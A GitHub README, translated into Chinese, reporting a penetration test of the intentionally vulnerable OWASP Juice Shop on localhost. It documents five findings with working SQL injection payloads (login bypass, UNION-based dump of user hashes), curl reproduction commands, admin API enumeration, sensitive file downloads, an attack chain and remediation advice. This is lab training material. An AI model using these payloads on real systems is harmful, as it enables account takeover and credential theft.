Sunil56224972/OWASP-JUICE-SHOP-VULNERBILITIES

GitHub: Sunil56224972/OWASP-JUICE-SHOP-VULNERBILITIES

该项目是一份针对 OWASP Juice Shop 靶场的完整渗透测试报告,详细记录了五个漏洞的发现、利用与攻击链复现过程。

Stars: 1 | Forks: 0

# 🧃 OWASP Juice Shop — 渗透测试报告 ![OWASP Juice Shop](https://img.shields.io/badge/Target-OWASP%20Juice%20Shop-orange?style=for-the-badge&logo=owasp) ![漏洞](https://img.shields.io/badge/Vulnerabilities-5%20Found-red?style=for-the-badge) ![严重](https://img.shields.io/badge/Critical-2-critical?style=for-the-badge) ![高危](https://img.shields.io/badge/High-2-orange?style=for-the-badge) ![中危](https://img.shields.io/badge/Medium-1-yellow?style=for-the-badge) ![状态](https://img.shields.io/badge/Status-All%20Exploited-brightgreen?style=for-the-badge)

![漏洞概览](https://static.pigsec.cn/wp-content/uploads/repos/cas/02/02bc6877e7b67b315c948390dee18a5125f300ac26ea4201f8a629138154466f.png)
## 📋 目录 - [关于目标](#-about-the-target) - [测试环境](#-test-environment) - [执行摘要](#-executive-summary) - [漏洞 1 — SQL 注入绕过认证](#-vuln-01-sql-injection--authentication-bypass-critical) - [漏洞 2 — SQL 注入转储凭证](#-vuln-02-sql-injection--full-credential-dump-critical) - [漏洞 3 — 访问控制失效](#-vuln-03-broken-access-control--admin-panel-unauthorized-access-high) - [漏洞 4 — 敏感文件暴露](#-vuln-04-sensitive-file-exposure--ftp-directory-listing-high) - [漏洞 5 — 未授权 API 访问](#-vuln-05-unauthenticated-api-access--feedback-data-exposure-medium) - [攻击链](#-attack-chain) - [使用工具](#-tools-used) - [完整 PDF 报告](#-full-report) ## 🎯 关于目标 | 字段 | 详情 | |-------|---------| | **应用程序** | OWASP Juice Shop | | **URL** | `http://localhost:3000` (Docker 托管) | | **版本** | 最新版 (`bkimminich/juice-shop`) | | **类型** | 故意设置漏洞的 Web 应用程序 | | **目的** | 安全训练、CTF、渗透测试练习 | | **技术栈** | Node.js, Angular, SQLite | ## 🔧 测试环境 ``` OS : Windows 11 Docker : OWASP Juice Shop (bkimminich/juice-shop) Port : 3000 Tools : Playwright MCP, Browser DevTools, curl Method : Manual exploitation — no automated scanners ``` ## 📊 执行摘要 | # | 漏洞 | 严重程度 | CVSS 评分 | 状态 | |---|--------------|----------|-----------|--------| | 1 | SQL 注入 — 身份验证绕过 | 🔴 **严重** | 9.8 | ✅ 已利用 | | 2 | SQL 注入 — 完整凭证转储 | 🔴 **严重** | 9.8 | ✅ 已利用 | | 3 | 访问控制失效 — 管理面板 | 🟠 **高危** | 7.5 | ✅ 已利用 | | 4 | 敏感文件暴露 — /ftp | 🟠 **高危** | 7.5 | ✅ 已利用 | | 5 | 未授权反馈 API | 🟡 **中危** | 6.5 | ✅ 已利用 | ## 🔴 VULN-01: SQL 注入 — 身份验证绕过 `[严重]` ### 概述 登录端点 (`/rest/user/login`) 存在 SQL 注入漏洞,允许攻击者完全绕过身份验证,并在不知道任何密码的情况下以任何用户(包括 admin)的身份登录。 ### 详情 | 字段 | 值 | |-------|-------| | **端点** | `POST /rest/user/login` | | **类型** | SQL 注入 — 身份验证绕过 | | **CVSS** | 9.8 (严重) | | **影响** | 完全接管 admin 账户 | ### Payload ``` { "email": "' OR 1=1--", "password": "anything" } ``` ### 利用证明 ``` { "authentication": { "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...", "bid": 1, "umail": "admin@juice-sh.op" } } ``` **结果:** 以角色为 `admin` 的 `admin@juice-sh.op` 身份登录 — 无需任何凭证。 ### 复现步骤 ``` curl -X POST http://localhost:3000/rest/user/login \ -H "Content-Type: application/json" \ -d '{"email":"'\'' OR 1=1--","password":"anything"}' ``` ### 影响 - ⚠️ 无需任何凭证即可完全接管 admin 账户 - ⚠️ 攻击者获得对应用程序的完全控制权 - ⚠️ 所有用户、订单和数据均可被访问 ## 🔴 VULN-02: SQL 注入 — 完整凭证转储 `[严重]` ### 概述 产品搜索端点存在基于 UNION 的 SQL 注入漏洞。这允许攻击者从数据库中提取整个 `Users` 表,包括所有注册用户的邮箱和 MD5 密码哈希值。 ### 详情 | 字段 | 值 | |-------|-------| | **端点** | `GET /rest/products/search?q=` | | **类型** | SQL 注入 — 基于 UNION 的数据提取 | | **CVSS** | 9.8 (严重) | | **影响** | 数据库用户表完全暴露 | ### Payload ``` GET /rest/products/search?q='))UNION SELECT id,email,password,4,5,6,7,8,9 FROM Users-- ``` ### 证明 — 提取的用户凭证(23 个账户) | ID | 邮箱 | 密码哈希值 (MD5) | |----|-------|---------------------| | 1 | `admin@juice-sh.op` | `0192023a7bbd73250516f069df18b500` | | 2 | `jim@juice-sh.op` | `e541ca7ecf72b8d1286474fc613e5e45` | | 3 | `bender@juice-sh.op` | `0c36e517e3fa95aabf1bbffc6744a4ef` | | 4 | `bjoern.kimminich@gmail.com` | `6edd9d726cbdc873c539e41ae8757b8c` | | 5 | `ciso@juice-sh.op` | `861917d5fa5f1172f931dc700d81a8fb` | | 6 | `support@juice-sh.op` | `3869433d74e3d0c86fd25562f836bc82` | | 7 | `morty@juice-sh.op` | `f2f933d0bb0ba057bc8e33b8ebd6d9e8` | | 8 | `mc.safesearch@juice-sh.op` | `b03f4b0ba8b458fa0acdc02cdb953bc8` | | ... | `(还有 15 个用户)` | `(MD5 哈希值)` | ### 复现步骤 ``` curl "http://localhost:3000/rest/products/search?q=%27))UNION%20SELECT%20id,email,password,4,5,6,7,8,9%20FROM%20Users--" ``` ### 影响 - ⚠️ 所有 23 个用户账户的凭证在一次请求中即被窃取 - ⚠️ MD5 哈希非常脆弱 — 可通过彩虹表瞬间破解 - ⚠️ 攻击者可以接管任何用户账户 ## 🟠 VULN-03: 访问控制失效 — 管理面板未授权访问 `[高危]` ### 概述 使用从 VULN-01 获取的 admin JWT token,攻击者可以访问位于 `/#/administration` 的管理面板,并枚举所有注册用户,包括他们的角色、个人资料数据和高级 token。 ### 详情 | 字段 | 值 | |-------|-------| | **端点** | `GET /#/administration` + `GET /api/Users` | | **类型** | 访问控制失效 / IDOR | | **CVSS** | 7.5 (高危) | | **影响** | 完整的用户枚举、角色泄露、PII 泄露 | ### 利用证明 管理面板被访问 — 所有用户均可见: ``` { "data": [ { "id": 1, "email": "admin@juice-sh.op", "role": "admin" }, { "id": 4, "email": "bjoern.kimminich@gmail.com", "role": "admin" }, { "id": 5, "email": "ciso@juice-sh.op", "role": "deluxe", "deluxeToken": "d715c2c75d4a42d3..." }, { "id": 13, "email": "bjoern@owasp.org", "role": "deluxe", "deluxeToken": "efe2f1599e2d9344..." } ] } ``` **应用程序本身通过横幅确认了该漏洞利用:** ### 影响 - ⚠️ 所有用户邮箱、角色和高级 token 被泄露 - ⚠️ 最后一次登录的 IP 地址被暴露 - ⚠️ 攻击者可以针对特定的高价值账户进行攻击 ## 🟠 VULN-04: 敏感文件暴露 — FTP 目录列表 `[高危]` ### 概述 `/ftp` 端点可公开访问,并暴露了包含多个高度敏感文件的目录列表,其中包括 KeePass 密码数据库、机密业务文档和应用程序源码备份。 ### 详情 | 字段 | 值 | |-------|-------| | **端点** | `GET /ftp` | | **类型** | 目录列表 / 敏感数据暴露 | | **CVSS** | 7.5 (高危) | | **影响** | 机密文件、密码数据库、源码备份被暴露 | ### 证明 — 暴露的文件 导航至 `http://localhost:3000/ftp` 会显示: ``` ~/ftp/ ├── 📁 quarantine/ ├── 📄 acquisitions.md ← CONFIDENTIAL business acquisition plans ├── 📄 announcement_encrypted.md ← Encrypted announcement ├── 📄 coupons_2013.md.bak ← Backup coupon codes ├── 📄 eastere.gg ├── 📄 encrypt.pyc ← Compiled encryption script (source leak) ├── 🔐 incident-support.kdbx ← KeePass PASSWORD DATABASE! ├── 📄 legal.md ├── 📄 package.json.bak ← App dependency backup ├── 📄 package-lock.json.bak ← Full dependency lock file (750 KB) └── 📄 suspicious_errors.yml ``` ### 访问到的机密文档 ``` # Planned Acquisitions > This document is confidential! Do not distribute! Our company plans to acquire several competitors within the next year. This will have a significant stock market impact... ``` ### 复现步骤 ``` # 查看 directory curl http://localhost:3000/ftp/ # 下载 confidential doc curl http://localhost:3000/ftp/acquisitions.md # 下载 KeePass password database curl http://localhost:3000/ftp/incident-support.kdbx -o passwords.kdbx ``` ### 影响 - ⚠️ `incident-support.kdbx` — 任何人都可以下载的 KeePass 密码数据库 - ⚠️ 可以访问机密的收购战略文档 - ⚠️ `encrypt.pyc` — 编译后的加密脚本暴露了实现细节 - ⚠️ `package.json.bak` — 依赖列表可帮助攻击者发现存在漏洞的包 ## 🟡 VULN-05: 未授权 API 访问 — 反馈数据暴露 `[中危]` ### 概述 `/api/Feedbacks` 端点无需任何身份验证即可访问,并返回所有用户反馈,包括部分邮箱地址。其中一条反馈包含一个**加密货币钱包助记词** — 这是一个 12 个单词的恢复短语,可完全访问加密钱包。 ### 详情 | 字段 | 值 | |-------|-------| | **端点** | `GET /api/Feedbacks` | | **类型** | 访问控制失效 — 缺少身份验证 | | **CVSS** | 6.5 (中危) | | **影响** | 用户 PII 泄露,加密钱包助记词被暴露 | ### 证明 — 加密钱包助记词被暴露 ``` { "UserId": 21, "comment": "Please send me the juicy chatbot NFT in my wallet at /juicy-nft : \"purpose betray marriage blame crunch monitor spin slide donate sport lift clutch\" (***ereum@juice-sh.op)", "rating": 1 } ``` ### 复现步骤 ``` # 无需 authentication! curl http://localhost:3000/api/Feedbacks ``` ### 影响 - ⚠️ 在未登录的情况下暴露了用户 ID 和部分邮箱 - ⚠️ 加密货币钱包助记词可被公开访问 - ⚠️ 攻击者可以掏空受害者的加密钱包 ## 🔗 攻击链 ``` ┌─────────────────────────────────────────────────────────────────┐ │ FULL ATTACK CHAIN │ └─────────────────────────────────────────────────────────────────┘ STEP 1: Recon └── GET /ftp → Directory listing exposed ├── Download acquisitions.md (confidential) └── Download incident-support.kdbx (password DB) STEP 2: SQL Injection — Credential Dump └── GET /rest/products/search?q='))UNION SELECT...FROM Users-- └── 23 user emails + MD5 hashes extracted STEP 3: SQL Injection — Auth Bypass └── POST /rest/user/login with ' OR 1=1-- └── Admin JWT token obtained STEP 4: Privilege Escalation └── GET /api/Users (with admin token) └── All user roles, PII, deluxe tokens dumped STEP 5: Admin Panel Access └── GET /#/administration └── Full admin panel — all users, orders accessible STEP 6: Bonus — API Exposure └── GET /api/Feedbacks (no auth needed) └── Crypto wallet seed phrase leaked ``` ## 🛠️ 使用工具 | 工具 | 用途 | |------|-------| | **Playwright MCP** | 浏览器自动化、API 测试、截图 | | **browser_evaluate** | 用于 fetch() API 调用的 JavaScript 注入 | | **browser_navigate** | 导航至存在漏洞的端点 | | **browser_take_screenshot** | 捕获漏洞利用的证明 | | **PowerShell (curl)** | 手动 HTTP 请求测试 | | **Docker** | 在本地托管目标应用程序 | ## 🖼️ 视觉证明
### 所有漏洞一览 ![Mega Frame](https://static.pigsec.cn/wp-content/uploads/repos/cas/02/02bc6877e7b67b315c948390dee18a5125f300ac26ea4201f8a629138154466f.png) ### 深色卡片摘要 ![Dark Card](https://static.pigsec.cn/wp-content/uploads/repos/cas/6b/6b07f9b3b25c11f677ab10a599b5ade832600286510100aaea548deef9d7fc06.png) ### 专业报告卡片 ![Light Card](https://static.pigsec.cn/wp-content/uploads/repos/cas/22/22e01aabb3af82c87af7d42dfba1861ab53bfd7153985e161a1e15eb74b03f6b.png) ### 浏览器漏洞利用证明 ![Browser Frame](https://static.pigsec.cn/wp-content/uploads/repos/cas/53/53cf2898a14252a9351edec26203ad7f763d50652a4bac6114134920ff3f0c02.png)
## 📄 完整报告 📥 **[下载完整 PDF 报告](OWASP_Juice_Shop_Vulnerability_Report.pdf)** 该 PDF 包含了所有 5 个漏洞的完整技术细节、截图和修复建议。 ## 🛡️ 修复建议 | # | 漏洞 | 修复 | |---|--------------|-----| | 1 | SQL 注入认证绕过 | 使用参数化查询 / 预处理语句 | | 2 | SQL 注入凭证转储 | 输入验证 + 参数化查询 | | 3 | 访问控制失效 | 在所有 API 端点上强制执行基于角色的访问控制 (RBAC) | | 4 | FTP 文件暴露 | 移除公开的 FTP 访问;将敏感文件限制在身份验证之后 | | 5 | 未授权 API | 在所有 `/api/*` 端点上要求身份验证 | ## ⚠️ 免责声明
**Made with ❤️ by Sunil Nath Jogi** ![GitHub](https://img.shields.io/badge/GitHub-Sunil56224972-black?style=flat-square&logo=github) ![Security](https://img.shields.io/badge/Security-Research-red?style=flat-square) ![OWASP](https://img.shields.io/badge/OWASP-Top%2010-blue?style=flat-square)
标签:CISA项目, HTTP工具, MITM代理, Web安全, 安全测试报告, 蓝队分析, 访问控制绕过, 请求拦截